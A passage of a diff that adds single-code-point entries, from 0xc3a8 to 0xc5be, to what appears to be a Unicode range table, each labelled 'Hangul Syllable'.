+ [0xc3a8, 0xc3a8], /* Hangul Syllable */
+ [0xc3a9, 0xc3a9], /* Hangul Syllable */
+ [0xc3aa, 0xc3aa], /* Hangul Syllable */
+ [0xc3ab, 0xc3ab], /* Hangul Syllable */
+ [0xc3ac, 0xc3ac], /* Hangul Syllable */
+ [0xc3ad, 0xc3ad], /* Hangul Syllable */
+ [0xc3ae, 0xc3ae], /* Hangul Syllable */
+ [0xc3af, 0xc3af], /* Hangul Syllable */
+ [0xc3b0, 0xc3b0], /* Hangul Syllable */
+ [0xc3b1, 0xc3b1], /* Hangul Syllable */
+ [0xc3b2, 0xc3b2], /* Hangul Syllable */
+ [0xc3b3, 0xc3b3], /* Hangul Syllable */
+ [0xc3b4, 0xc3b4], /* Hangul Syllable */
+ [0xc3b5, 0xc3b5], /* Hangul Syllable */
+ [0xc3b6, 0xc3b6], /* Hangul Syllable */
+ [0xc3b7, 0xc3b7], /* Hangul Syllable */
+ [0xc3b8, 0xc3b8], /* Hangul Syllable */
+ [0xc3b9, 0xc3b9], /* Hangul Syllable */
+ [0xc3ba, 0xc3ba], /* Hangul Syllable */
+ [0xc3bb, 0xc3bb], /* Hangul Syllable */
+ [0xc3bc, 0xc3bc], /* Hangul Syllable */
+ [0xc3bd, 0xc3bd], /* Hangul Syllable */
+ [0xc3be, 0xc3be], /* Hangul Syllable */
+ [0xc3bf, 0xc3bf], /* Hangul Syllable */
+ [0xc3c0, 0xc3c0], /* Hangul Syllable */
+ [0xc3c1, 0xc3c1], /* Hangul Syllable */
+ [0xc3c2, 0xc3c2], /* Hangul Syllable */
+ [0xc3c3, 0xc3c3], /* Hangul Syllable */
+ [0xc3c4, 0xc3c4], /* Hangul Syllable */
+ [0xc3c5, 0xc3c5], /* Hangul Syllable */
+ [0xc3c6, 0xc3c6], /* Hangul Syllable */
+ [0xc3c7, 0xc3c7], /* Hangul Syllable */
+ [0xc3c8, 0xc3c8], /* Hangul Syllable */
+ [0xc3c9, 0xc3c9], /* Hangul Syllable */
+ [0xc3ca, 0xc3ca], /* Hangul Syllable */
+ [0xc3cb, 0xc3cb], /* Hangul Syllable */
+ [0xc3cc, 0xc3cc], /* Hangul Syllable */
+ [0xc3cd, 0xc3cd], /* Hangul Syllable */
+ [0xc3ce, 0xc3ce], /* Hangul Syllable */
+ [0xc3cf, 0xc3cf], /* Hangul Syllable */
+ [0xc3d0, 0xc3d0], /* Hangul Syllable */
+ [0xc3d1, 0xc3d1], /* Hangul Syllable */
+ [0xc3d2, 0xc3d2], /* Hangul Syllable */
+ [0xc3d3, 0xc3d3], /* Hangul Syllable */
+ [0xc3d4, 0xc3d4], /* Hangul Syllable */
+ [0xc3d5, 0xc3d5], /* Hangul Syllable */
+ [0xc3d6, 0xc3d6], /* Hangul Syllable */
+ [0xc3d7, 0xc3d7], /* Hangul Syllable */
+ [0xc3d8, 0xc3d8], /* Hangul Syllable */
+ [0xc3d9, 0xc3d9], /* Hangul Syllable */
+ [0xc3da, 0xc3da], /* Hangul Syllable */
+ [0xc3db, 0xc3db], /* Hangul Syllable */
+ [0xc3dc, 0xc3dc], /* Hangul Syllable */
+ [0xc3dd, 0xc3dd], /* Hangul Syllable */
+ [0xc3de, 0xc3de], /* Hangul Syllable */
+ [0xc3df, 0xc3df], /* Hangul Syllable */
+ [0xc3e0, 0xc3e0], /* Hangul Syllable */
+ [0xc3e1, 0xc3e1], /* Hangul Syllable */
+ [0xc3e2, 0xc3e2], /* Hangul Syllable */
+ [0xc3e3, 0xc3e3], /* Hangul Syllable */
+ [0xc3e4, 0xc3e4], /* Hangul Syllable */
+ [0xc3e5, 0xc3e5], /* Hangul Syllable */
+ [0xc3e6, 0xc3e6], /* Hangul Syllable */
+ [0xc3e7, 0xc3e7], /* Hangul Syllable */
+ [0xc3e8, 0xc3e8], /* Hangul Syllable */
+ [0xc3e9, 0xc3e9], /* Hangul Syllable */
+ [0xc3ea, 0xc3ea], /* Hangul Syllable */
+ [0xc3eb, 0xc3eb], /* Hangul Syllable */
+ [0xc3ec, 0xc3ec], /* Hangul Syllable */
+ [0xc3ed, 0xc3ed], /* Hangul Syllable */
+ [0xc3ee, 0xc3ee], /* Hangul Syllable */
+ [0xc3ef, 0xc3ef], /* Hangul Syllable */
+ [0xc3f0, 0xc3f0], /* Hangul Syllable */
+ [0xc3f1, 0xc3f1], /* Hangul Syllable */
+ [0xc3f2, 0xc3f2], /* Hangul Syllable */
+ [0xc3f3, 0xc3f3], /* Hangul Syllable */
+ [0xc3f4, 0xc3f4], /* Hangul Syllable */
+ [0xc3f5, 0xc3f5], /* Hangul Syllable */
+ [0xc3f6, 0xc3f6], /* Hangul Syllable */
+ [0xc3f7, 0xc3f7], /* Hangul Syllable */
+ [0xc3f8, 0xc3f8], /* Hangul Syllable */
+ [0xc3f9, 0xc3f9], /* Hangul Syllable */
+ [0xc3fa, 0xc3fa], /* Hangul Syllable */
+ [0xc3fb, 0xc3fb], /* Hangul Syllable */
+ [0xc3fc, 0xc3fc], /* Hangul Syllable */
+ [0xc3fd, 0xc3fd], /* Hangul Syllable */
+ [0xc3fe, 0xc3fe], /* Hangul Syllable */
+ [0xc3ff, 0xc3ff], /* Hangul Syllable */
+ [0xc400, 0xc400], /* Hangul Syllable */
+ [0xc401, 0xc401], /* Hangul Syllable */
+ [0xc402, 0xc402], /* Hangul Syllable */
+ [0xc403, 0xc403], /* Hangul Syllable */
+ [0xc404, 0xc404], /* Hangul Syllable */
+ [0xc405, 0xc405], /* Hangul Syllable */
+ [0xc406, 0xc406], /* Hangul Syllable */
+ [0xc407, 0xc407], /* Hangul Syllable */
+ [0xc408, 0xc408], /* Hangul Syllable */
+ [0xc409, 0xc409], /* Hangul Syllable */
+ [0xc40a, 0xc40a], /* Hangul Syllable */
+ [0xc40b, 0xc40b], /* Hangul Syllable */
+ [0xc40c, 0xc40c], /* Hangul Syllable */
+ [0xc40d, 0xc40d], /* Hangul Syllable */
+ [0xc40e, 0xc40e], /* Hangul Syllable */
+ [0xc40f, 0xc40f], /* Hangul Syllable */
+ [0xc410, 0xc410], /* Hangul Syllable */
+ [0xc411, 0xc411], /* Hangul Syllable */
+ [0xc412, 0xc412], /* Hangul Syllable */
+ [0xc413, 0xc413], /* Hangul Syllable */
+ [0xc414, 0xc414], /* Hangul Syllable */
+ [0xc415, 0xc415], /* Hangul Syllable */
+ [0xc416, 0xc416], /* Hangul Syllable */
+ [0xc417, 0xc417], /* Hangul Syllable */
+ [0xc418, 0xc418], /* Hangul Syllable */
+ [0xc419, 0xc419], /* Hangul Syllable */
+ [0xc41a, 0xc41a], /* Hangul Syllable */
+ [0xc41b, 0xc41b], /* Hangul Syllable */
+ [0xc41c, 0xc41c], /* Hangul Syllable */
+ [0xc41d, 0xc41d], /* Hangul Syllable */
+ [0xc41e, 0xc41e], /* Hangul Syllable */
+ [0xc41f, 0xc41f], /* Hangul Syllable */
+ [0xc420, 0xc420], /* Hangul Syllable */
+ [0xc421, 0xc421], /* Hangul Syllable */
+ [0xc422, 0xc422], /* Hangul Syllable */
+ [0xc423, 0xc423], /* Hangul Syllable */
+ [0xc424, 0xc424], /* Hangul Syllable */
+ [0xc425, 0xc425], /* Hangul Syllable */
+ [0xc426, 0xc426], /* Hangul Syllable */
+ [0xc427, 0xc427], /* Hangul Syllable */
+ [0xc428, 0xc428], /* Hangul Syllable */
+ [0xc429, 0xc429], /* Hangul Syllable */
+ [0xc42a, 0xc42a], /* Hangul Syllable */
+ [0xc42b, 0xc42b], /* Hangul Syllable */
+ [0xc42c, 0xc42c], /* Hangul Syllable */
+ [0xc42d, 0xc42d], /* Hangul Syllable */
+ [0xc42e, 0xc42e], /* Hangul Syllable */
+ [0xc42f, 0xc42f], /* Hangul Syllable */
+ [0xc430, 0xc430], /* Hangul Syllable */
+ [0xc431, 0xc431], /* Hangul Syllable */
+ [0xc432, 0xc432], /* Hangul Syllable */
+ [0xc433, 0xc433], /* Hangul Syllable */
+ [0xc434, 0xc434], /* Hangul Syllable */
+ [0xc435, 0xc435], /* Hangul Syllable */
+ [0xc436, 0xc436], /* Hangul Syllable */
+ [0xc437, 0xc437], /* Hangul Syllable */
+ [0xc438, 0xc438], /* Hangul Syllable */
+ [0xc439, 0xc439], /* Hangul Syllable */
+ [0xc43a, 0xc43a], /* Hangul Syllable */
+ [0xc43b, 0xc43b], /* Hangul Syllable */
+ [0xc43c, 0xc43c], /* Hangul Syllable */
+ [0xc43d, 0xc43d], /* Hangul Syllable */
+ [0xc43e, 0xc43e], /* Hangul Syllable */
+ [0xc43f, 0xc43f], /* Hangul Syllable */
+ [0xc440, 0xc440], /* Hangul Syllable */
+ [0xc441, 0xc441], /* Hangul Syllable */
+ [0xc442, 0xc442], /* Hangul Syllable */
+ [0xc443, 0xc443], /* Hangul Syllable */
+ [0xc444, 0xc444], /* Hangul Syllable */
+ [0xc445, 0xc445], /* Hangul Syllable */
+ [0xc446, 0xc446], /* Hangul Syllable */
+ [0xc447, 0xc447], /* Hangul Syllable */
+ [0xc448, 0xc448], /* Hangul Syllable */
+ [0xc449, 0xc449], /* Hangul Syllable */
+ [0xc44a, 0xc44a], /* Hangul Syllable */
+ [0xc44b, 0xc44b], /* Hangul Syllable */
+ [0xc44c, 0xc44c], /* Hangul Syllable */
+ [0xc44d, 0xc44d], /* Hangul Syllable */
+ [0xc44e, 0xc44e], /* Hangul Syllable */
+ [0xc44f, 0xc44f], /* Hangul Syllable */
+ [0xc450, 0xc450], /* Hangul Syllable */
+ [0xc451, 0xc451], /* Hangul Syllable */
+ [0xc452, 0xc452], /* Hangul Syllable */
+ [0xc453, 0xc453], /* Hangul Syllable */
+ [0xc454, 0xc454], /* Hangul Syllable */
+ [0xc455, 0xc455], /* Hangul Syllable */
+ [0xc456, 0xc456], /* Hangul Syllable */
+ [0xc457, 0xc457], /* Hangul Syllable */
+ [0xc458, 0xc458], /* Hangul Syllable */
+ [0xc459, 0xc459], /* Hangul Syllable */
+ [0xc45a, 0xc45a], /* Hangul Syllable */
+ [0xc45b, 0xc45b], /* Hangul Syllable */
+ [0xc45c, 0xc45c], /* Hangul Syllable */
+ [0xc45d, 0xc45d], /* Hangul Syllable */
+ [0xc45e, 0xc45e], /* Hangul Syllable */
+ [0xc45f, 0xc45f], /* Hangul Syllable */
+ [0xc460, 0xc460], /* Hangul Syllable */
+ [0xc461, 0xc461], /* Hangul Syllable */
+ [0xc462, 0xc462], /* Hangul Syllable */
+ [0xc463, 0xc463], /* Hangul Syllable */
+ [0xc464, 0xc464], /* Hangul Syllable */
+ [0xc465, 0xc465], /* Hangul Syllable */
+ [0xc466, 0xc466], /* Hangul Syllable */
+ [0xc467, 0xc467], /* Hangul Syllable */
+ [0xc468, 0xc468], /* Hangul Syllable */
+ [0xc469, 0xc469], /* Hangul Syllable */
+ [0xc46a, 0xc46a], /* Hangul Syllable */
+ [0xc46b, 0xc46b], /* Hangul Syllable */
+ [0xc46c, 0xc46c], /* Hangul Syllable */
+ [0xc46d, 0xc46d], /* Hangul Syllable */
+ [0xc46e, 0xc46e], /* Hangul Syllable */
+ [0xc46f, 0xc46f], /* Hangul Syllable */
+ [0xc470, 0xc470], /* Hangul Syllable */
+ [0xc471, 0xc471], /* Hangul Syllable */
+ [0xc472, 0xc472], /* Hangul Syllable */
+ [0xc473, 0xc473], /* Hangul Syllable */
+ [0xc474, 0xc474], /* Hangul Syllable */
+ [0xc475, 0xc475], /* Hangul Syllable */
+ [0xc476, 0xc476], /* Hangul Syllable */
+ [0xc477, 0xc477], /* Hangul Syllable */
+ [0xc478, 0xc478], /* Hangul Syllable */
+ [0xc479, 0xc479], /* Hangul Syllable */
+ [0xc47a, 0xc47a], /* Hangul Syllable */
+ [0xc47b, 0xc47b], /* Hangul Syllable */
+ [0xc47c, 0xc47c], /* Hangul Syllable */
+ [0xc47d, 0xc47d], /* Hangul Syllable */
+ [0xc47e, 0xc47e], /* Hangul Syllable */
+ [0xc47f, 0xc47f], /* Hangul Syllable */
+ [0xc480, 0xc480], /* Hangul Syllable */
+ [0xc481, 0xc481], /* Hangul Syllable */
+ [0xc482, 0xc482], /* Hangul Syllable */
+ [0xc483, 0xc483], /* Hangul Syllable */
+ [0xc484, 0xc484], /* Hangul Syllable */
+ [0xc485, 0xc485], /* Hangul Syllable */
+ [0xc486, 0xc486], /* Hangul Syllable */
+ [0xc487, 0xc487], /* Hangul Syllable */
+ [0xc488, 0xc488], /* Hangul Syllable */
+ [0xc489, 0xc489], /* Hangul Syllable */
+ [0xc48a, 0xc48a], /* Hangul Syllable */
+ [0xc48b, 0xc48b], /* Hangul Syllable */
+ [0xc48c, 0xc48c], /* Hangul Syllable */
+ [0xc48d, 0xc48d], /* Hangul Syllable */
+ [0xc48e, 0xc48e], /* Hangul Syllable */
+ [0xc48f, 0xc48f], /* Hangul Syllable */
+ [0xc490, 0xc490], /* Hangul Syllable */
+ [0xc491, 0xc491], /* Hangul Syllable */
+ [0xc492, 0xc492], /* Hangul Syllable */
+ [0xc493, 0xc493], /* Hangul Syllable */
+ [0xc494, 0xc494], /* Hangul Syllable */
+ [0xc495, 0xc495], /* Hangul Syllable */
+ [0xc496, 0xc496], /* Hangul Syllable */
+ [0xc497, 0xc497], /* Hangul Syllable */
+ [0xc498, 0xc498], /* Hangul Syllable */
+ [0xc499, 0xc499], /* Hangul Syllable */
+ [0xc49a, 0xc49a], /* Hangul Syllable */
+ [0xc49b, 0xc49b], /* Hangul Syllable */
+ [0xc49c, 0xc49c], /* Hangul Syllable */
+ [0xc49d, 0xc49d], /* Hangul Syllable */
+ [0xc49e, 0xc49e], /* Hangul Syllable */
+ [0xc49f, 0xc49f], /* Hangul Syllable */
+ [0xc4a0, 0xc4a0], /* Hangul Syllable */
+ [0xc4a1, 0xc4a1], /* Hangul Syllable */
+ [0xc4a2, 0xc4a2], /* Hangul Syllable */
+ [0xc4a3, 0xc4a3], /* Hangul Syllable */
+ [0xc4a4, 0xc4a4], /* Hangul Syllable */
+ [0xc4a5, 0xc4a5], /* Hangul Syllable */
+ [0xc4a6, 0xc4a6], /* Hangul Syllable */
+ [0xc4a7, 0xc4a7], /* Hangul Syllable */
+ [0xc4a8, 0xc4a8], /* Hangul Syllable */
+ [0xc4a9, 0xc4a9], /* Hangul Syllable */
+ [0xc4aa, 0xc4aa], /* Hangul Syllable */
+ [0xc4ab, 0xc4ab], /* Hangul Syllable */
+ [0xc4ac, 0xc4ac], /* Hangul Syllable */
+ [0xc4ad, 0xc4ad], /* Hangul Syllable */
+ [0xc4ae, 0xc4ae], /* Hangul Syllable */
+ [0xc4af, 0xc4af], /* Hangul Syllable */
+ [0xc4b0, 0xc4b0], /* Hangul Syllable */
+ [0xc4b1, 0xc4b1], /* Hangul Syllable */
+ [0xc4b2, 0xc4b2], /* Hangul Syllable */
+ [0xc4b3, 0xc4b3], /* Hangul Syllable */
+ [0xc4b4, 0xc4b4], /* Hangul Syllable */
+ [0xc4b5, 0xc4b5], /* Hangul Syllable */
+ [0xc4b6, 0xc4b6], /* Hangul Syllable */
+ [0xc4b7, 0xc4b7], /* Hangul Syllable */
+ [0xc4b8, 0xc4b8], /* Hangul Syllable */
+ [0xc4b9, 0xc4b9], /* Hangul Syllable */
+ [0xc4ba, 0xc4ba], /* Hangul Syllable */
+ [0xc4bb, 0xc4bb], /* Hangul Syllable */
+ [0xc4bc, 0xc4bc], /* Hangul Syllable */
+ [0xc4bd, 0xc4bd], /* Hangul Syllable */
+ [0xc4be, 0xc4be], /* Hangul Syllable */
+ [0xc4bf, 0xc4bf], /* Hangul Syllable */
+ [0xc4c0, 0xc4c0], /* Hangul Syllable */
+ [0xc4c1, 0xc4c1], /* Hangul Syllable */
+ [0xc4c2, 0xc4c2], /* Hangul Syllable */
+ [0xc4c3, 0xc4c3], /* Hangul Syllable */
+ [0xc4c4, 0xc4c4], /* Hangul Syllable */
+ [0xc4c5, 0xc4c5], /* Hangul Syllable */
+ [0xc4c6, 0xc4c6], /* Hangul Syllable */
+ [0xc4c7, 0xc4c7], /* Hangul Syllable */
+ [0xc4c8, 0xc4c8], /* Hangul Syllable */
+ [0xc4c9, 0xc4c9], /* Hangul Syllable */
+ [0xc4ca, 0xc4ca], /* Hangul Syllable */
+ [0xc4cb, 0xc4cb], /* Hangul Syllable */
+ [0xc4cc, 0xc4cc], /* Hangul Syllable */
+ [0xc4cd, 0xc4cd], /* Hangul Syllable */
+ [0xc4ce, 0xc4ce], /* Hangul Syllable */
+ [0xc4cf, 0xc4cf], /* Hangul Syllable */
+ [0xc4d0, 0xc4d0], /* Hangul Syllable */
+ [0xc4d1, 0xc4d1], /* Hangul Syllable */
+ [0xc4d2, 0xc4d2], /* Hangul Syllable */
+ [0xc4d3, 0xc4d3], /* Hangul Syllable */
+ [0xc4d4, 0xc4d4], /* Hangul Syllable */
+ [0xc4d5, 0xc4d5], /* Hangul Syllable */
+ [0xc4d6, 0xc4d6], /* Hangul Syllable */
+ [0xc4d7, 0xc4d7], /* Hangul Syllable */
+ [0xc4d8, 0xc4d8], /* Hangul Syllable */
+ [0xc4d9, 0xc4d9], /* Hangul Syllable */
+ [0xc4da, 0xc4da], /* Hangul Syllable */
+ [0xc4db, 0xc4db], /* Hangul Syllable */
+ [0xc4dc, 0xc4dc], /* Hangul Syllable */
+ [0xc4dd, 0xc4dd], /* Hangul Syllable */
+ [0xc4de, 0xc4de], /* Hangul Syllable */
+ [0xc4df, 0xc4df], /* Hangul Syllable */
+ [0xc4e0, 0xc4e0], /* Hangul Syllable */
+ [0xc4e1, 0xc4e1], /* Hangul Syllable */
+ [0xc4e2, 0xc4e2], /* Hangul Syllable */
+ [0xc4e3, 0xc4e3], /* Hangul Syllable */
+ [0xc4e4, 0xc4e4], /* Hangul Syllable */
+ [0xc4e5, 0xc4e5], /* Hangul Syllable */
+ [0xc4e6, 0xc4e6], /* Hangul Syllable */
+ [0xc4e7, 0xc4e7], /* Hangul Syllable */
+ [0xc4e8, 0xc4e8], /* Hangul Syllable */
+ [0xc4e9, 0xc4e9], /* Hangul Syllable */
+ [0xc4ea, 0xc4ea], /* Hangul Syllable */
+ [0xc4eb, 0xc4eb], /* Hangul Syllable */
+ [0xc4ec, 0xc4ec], /* Hangul Syllable */
+ [0xc4ed, 0xc4ed], /* Hangul Syllable */
+ [0xc4ee, 0xc4ee], /* Hangul Syllable */
+ [0xc4ef, 0xc4ef], /* Hangul Syllable */
+ [0xc4f0, 0xc4f0], /* Hangul Syllable */
+ [0xc4f1, 0xc4f1], /* Hangul Syllable */
+ [0xc4f2, 0xc4f2], /* Hangul Syllable */
+ [0xc4f3, 0xc4f3], /* Hangul Syllable */
+ [0xc4f4, 0xc4f4], /* Hangul Syllable */
+ [0xc4f5, 0xc4f5], /* Hangul Syllable */
+ [0xc4f6, 0xc4f6], /* Hangul Syllable */
+ [0xc4f7, 0xc4f7], /* Hangul Syllable */
+ [0xc4f8, 0xc4f8], /* Hangul Syllable */
+ [0xc4f9, 0xc4f9], /* Hangul Syllable */
+ [0xc4fa, 0xc4fa], /* Hangul Syllable */
+ [0xc4fb, 0xc4fb], /* Hangul Syllable */
+ [0xc4fc, 0xc4fc], /* Hangul Syllable */
+ [0xc4fd, 0xc4fd], /* Hangul Syllable */
+ [0xc4fe, 0xc4fe], /* Hangul Syllable */
+ [0xc4ff, 0xc4ff], /* Hangul Syllable */
+ [0xc500, 0xc500], /* Hangul Syllable */
+ [0xc501, 0xc501], /* Hangul Syllable */
+ [0xc502, 0xc502], /* Hangul Syllable */
+ [0xc503, 0xc503], /* Hangul Syllable */
+ [0xc504, 0xc504], /* Hangul Syllable */
+ [0xc505, 0xc505], /* Hangul Syllable */
+ [0xc506, 0xc506], /* Hangul Syllable */
+ [0xc507, 0xc507], /* Hangul Syllable */
+ [0xc508, 0xc508], /* Hangul Syllable */
+ [0xc509, 0xc509], /* Hangul Syllable */
+ [0xc50a, 0xc50a], /* Hangul Syllable */
+ [0xc50b, 0xc50b], /* Hangul Syllable */
+ [0xc50c, 0xc50c], /* Hangul Syllable */
+ [0xc50d, 0xc50d], /* Hangul Syllable */
+ [0xc50e, 0xc50e], /* Hangul Syllable */
+ [0xc50f, 0xc50f], /* Hangul Syllable */
+ [0xc510, 0xc510], /* Hangul Syllable */
+ [0xc511, 0xc511], /* Hangul Syllable */
+ [0xc512, 0xc512], /* Hangul Syllable */
+ [0xc513, 0xc513], /* Hangul Syllable */
+ [0xc514, 0xc514], /* Hangul Syllable */
+ [0xc515, 0xc515], /* Hangul Syllable */
+ [0xc516, 0xc516], /* Hangul Syllable */
+ [0xc517, 0xc517], /* Hangul Syllable */
+ [0xc518, 0xc518], /* Hangul Syllable */
+ [0xc519, 0xc519], /* Hangul Syllable */
+ [0xc51a, 0xc51a], /* Hangul Syllable */
+ [0xc51b, 0xc51b], /* Hangul Syllable */
+ [0xc51c, 0xc51c], /* Hangul Syllable */
+ [0xc51d, 0xc51d], /* Hangul Syllable */
+ [0xc51e, 0xc51e], /* Hangul Syllable */
+ [0xc51f, 0xc51f], /* Hangul Syllable */
+ [0xc520, 0xc520], /* Hangul Syllable */
+ [0xc521, 0xc521], /* Hangul Syllable */
+ [0xc522, 0xc522], /* Hangul Syllable */
+ [0xc523, 0xc523], /* Hangul Syllable */
+ [0xc524, 0xc524], /* Hangul Syllable */
+ [0xc525, 0xc525], /* Hangul Syllable */
+ [0xc526, 0xc526], /* Hangul Syllable */
+ [0xc527, 0xc527], /* Hangul Syllable */
+ [0xc528, 0xc528], /* Hangul Syllable */
+ [0xc529, 0xc529], /* Hangul Syllable */
+ [0xc52a, 0xc52a], /* Hangul Syllable */
+ [0xc52b, 0xc52b], /* Hangul Syllable */
+ [0xc52c, 0xc52c], /* Hangul Syllable */
+ [0xc52d, 0xc52d], /* Hangul Syllable */
+ [0xc52e, 0xc52e], /* Hangul Syllable */
+ [0xc52f, 0xc52f], /* Hangul Syllable */
+ [0xc530, 0xc530], /* Hangul Syllable */
+ [0xc531, 0xc531], /* Hangul Syllable */
+ [0xc532, 0xc532], /* Hangul Syllable */
+ [0xc533, 0xc533], /* Hangul Syllable */
+ [0xc534, 0xc534], /* Hangul Syllable */
+ [0xc535, 0xc535], /* Hangul Syllable */
+ [0xc536, 0xc536], /* Hangul Syllable */
+ [0xc537, 0xc537], /* Hangul Syllable */
+ [0xc538, 0xc538], /* Hangul Syllable */
+ [0xc539, 0xc539], /* Hangul Syllable */
+ [0xc53a, 0xc53a], /* Hangul Syllable */
+ [0xc53b, 0xc53b], /* Hangul Syllable */
+ [0xc53c, 0xc53c], /* Hangul Syllable */
+ [0xc53d, 0xc53d], /* Hangul Syllable */
+ [0xc53e, 0xc53e], /* Hangul Syllable */
+ [0xc53f, 0xc53f], /* Hangul Syllable */
+ [0xc540, 0xc540], /* Hangul Syllable */
+ [0xc541, 0xc541], /* Hangul Syllable */
+ [0xc542, 0xc542], /* Hangul Syllable */
+ [0xc543, 0xc543], /* Hangul Syllable */
+ [0xc544, 0xc544], /* Hangul Syllable */
+ [0xc545, 0xc545], /* Hangul Syllable */
+ [0xc546, 0xc546], /* Hangul Syllable */
+ [0xc547, 0xc547], /* Hangul Syllable */
+ [0xc548, 0xc548], /* Hangul Syllable */
+ [0xc549, 0xc549], /* Hangul Syllable */
+ [0xc54a, 0xc54a], /* Hangul Syllable */
+ [0xc54b, 0xc54b], /* Hangul Syllable */
+ [0xc54c, 0xc54c], /* Hangul Syllable */
+ [0xc54d, 0xc54d], /* Hangul Syllable */
+ [0xc54e, 0xc54e], /* Hangul Syllable */
+ [0xc54f, 0xc54f], /* Hangul Syllable */
+ [0xc550, 0xc550], /* Hangul Syllable */
+ [0xc551, 0xc551], /* Hangul Syllable */
+ [0xc552, 0xc552], /* Hangul Syllable */
+ [0xc553, 0xc553], /* Hangul Syllable */
+ [0xc554, 0xc554], /* Hangul Syllable */
+ [0xc555, 0xc555], /* Hangul Syllable */
+ [0xc556, 0xc556], /* Hangul Syllable */
+ [0xc557, 0xc557], /* Hangul Syllable */
+ [0xc558, 0xc558], /* Hangul Syllable */
+ [0xc559, 0xc559], /* Hangul Syllable */
+ [0xc55a, 0xc55a], /* Hangul Syllable */
+ [0xc55b, 0xc55b], /* Hangul Syllable */
+ [0xc55c, 0xc55c], /* Hangul Syllable */
+ [0xc55d, 0xc55d], /* Hangul Syllable */
+ [0xc55e, 0xc55e], /* Hangul Syllable */
+ [0xc55f, 0xc55f], /* Hangul Syllable */
+ [0xc560, 0xc560], /* Hangul Syllable */
+ [0xc561, 0xc561], /* Hangul Syllable */
+ [0xc562, 0xc562], /* Hangul Syllable */
+ [0xc563, 0xc563], /* Hangul Syllable */
+ [0xc564, 0xc564], /* Hangul Syllable */
+ [0xc565, 0xc565], /* Hangul Syllable */
+ [0xc566, 0xc566], /* Hangul Syllable */
+ [0xc567, 0xc567], /* Hangul Syllable */
+ [0xc568, 0xc568], /* Hangul Syllable */
+ [0xc569, 0xc569], /* Hangul Syllable */
+ [0xc56a, 0xc56a], /* Hangul Syllable */
+ [0xc56b, 0xc56b], /* Hangul Syllable */
+ [0xc56c, 0xc56c], /* Hangul Syllable */
+ [0xc56d, 0xc56d], /* Hangul Syllable */
+ [0xc56e, 0xc56e], /* Hangul Syllable */
+ [0xc56f, 0xc56f], /* Hangul Syllable */
+ [0xc570, 0xc570], /* Hangul Syllable */
+ [0xc571, 0xc571], /* Hangul Syllable */
+ [0xc572, 0xc572], /* Hangul Syllable */
+ [0xc573, 0xc573], /* Hangul Syllable */
+ [0xc574, 0xc574], /* Hangul Syllable */
+ [0xc575, 0xc575], /* Hangul Syllable */
+ [0xc576, 0xc576], /* Hangul Syllable */
+ [0xc577, 0xc577], /* Hangul Syllable */
+ [0xc578, 0xc578], /* Hangul Syllable */
+ [0xc579, 0xc579], /* Hangul Syllable */
+ [0xc57a, 0xc57a], /* Hangul Syllable */
+ [0xc57b, 0xc57b], /* Hangul Syllable */
+ [0xc57c, 0xc57c], /* Hangul Syllable */
+ [0xc57d, 0xc57d], /* Hangul Syllable */
+ [0xc57e, 0xc57e], /* Hangul Syllable */
+ [0xc57f, 0xc57f], /* Hangul Syllable */
+ [0xc580, 0xc580], /* Hangul Syllable */
+ [0xc581, 0xc581], /* Hangul Syllable */
+ [0xc582, 0xc582], /* Hangul Syllable */
+ [0xc583, 0xc583], /* Hangul Syllable */
+ [0xc584, 0xc584], /* Hangul Syllable */
+ [0xc585, 0xc585], /* Hangul Syllable */
+ [0xc586, 0xc586], /* Hangul Syllable */
+ [0xc587, 0xc587], /* Hangul Syllable */
+ [0xc588, 0xc588], /* Hangul Syllable */
+ [0xc589, 0xc589], /* Hangul Syllable */
+ [0xc58a, 0xc58a], /* Hangul Syllable */
+ [0xc58b, 0xc58b], /* Hangul Syllable */
+ [0xc58c, 0xc58c], /* Hangul Syllable */
+ [0xc58d, 0xc58d], /* Hangul Syllable */
+ [0xc58e, 0xc58e], /* Hangul Syllable */
+ [0xc58f, 0xc58f], /* Hangul Syllable */
+ [0xc590, 0xc590], /* Hangul Syllable */
+ [0xc591, 0xc591], /* Hangul Syllable */
+ [0xc592, 0xc592], /* Hangul Syllable */
+ [0xc593, 0xc593], /* Hangul Syllable */
+ [0xc594, 0xc594], /* Hangul Syllable */
+ [0xc595, 0xc595], /* Hangul Syllable */
+ [0xc596, 0xc596], /* Hangul Syllable */
+ [0xc597, 0xc597], /* Hangul Syllable */
+ [0xc598, 0xc598], /* Hangul Syllable */
+ [0xc599, 0xc599], /* Hangul Syllable */
+ [0xc59a, 0xc59a], /* Hangul Syllable */
+ [0xc59b, 0xc59b], /* Hangul Syllable */
+ [0xc59c, 0xc59c], /* Hangul Syllable */
+ [0xc59d, 0xc59d], /* Hangul Syllable */
+ [0xc59e, 0xc59e], /* Hangul Syllable */
+ [0xc59f, 0xc59f], /* Hangul Syllable */
+ [0xc5a0, 0xc5a0], /* Hangul Syllable */
+ [0xc5a1, 0xc5a1], /* Hangul Syllable */
+ [0xc5a2, 0xc5a2], /* Hangul Syllable */
+ [0xc5a3, 0xc5a3], /* Hangul Syllable */
+ [0xc5a4, 0xc5a4], /* Hangul Syllable */
+ [0xc5a5, 0xc5a5], /* Hangul Syllable */
+ [0xc5a6, 0xc5a6], /* Hangul Syllable */
+ [0xc5a7, 0xc5a7], /* Hangul Syllable */
+ [0xc5a8, 0xc5a8], /* Hangul Syllable */
+ [0xc5a9, 0xc5a9], /* Hangul Syllable */
+ [0xc5aa, 0xc5aa], /* Hangul Syllable */
+ [0xc5ab, 0xc5ab], /* Hangul Syllable */
+ [0xc5ac, 0xc5ac], /* Hangul Syllable */
+ [0xc5ad, 0xc5ad], /* Hangul Syllable */
+ [0xc5ae, 0xc5ae], /* Hangul Syllable */
+ [0xc5af, 0xc5af], /* Hangul Syllable */
+ [0xc5b0, 0xc5b0], /* Hangul Syllable */
+ [0xc5b1, 0xc5b1], /* Hangul Syllable */
+ [0xc5b2, 0xc5b2], /* Hangul Syllable */
+ [0xc5b3, 0xc5b3], /* Hangul Syllable */
+ [0xc5b4, 0xc5b4], /* Hangul Syllable */
+ [0xc5b5, 0xc5b5], /* Hangul Syllable */
+ [0xc5b6, 0xc5b6], /* Hangul Syllable */
+ [0xc5b7, 0xc5b7], /* Hangul Syllable */
+ [0xc5b8, 0xc5b8], /* Hangul Syllable */
+ [0xc5b9, 0xc5b9], /* Hangul Syllable */
+ [0xc5ba, 0xc5ba], /* Hangul Syllable */
+ [0xc5bb, 0xc5bb], /* Hangul Syllable */
+ [0xc5bc, 0xc5bc], /* Hangul Syllable */
+ [0xc5bd, 0xc5bd], /* Hangul Syllable */
+ [0xc5be, 0xc5be], /* Hangul Syllable */
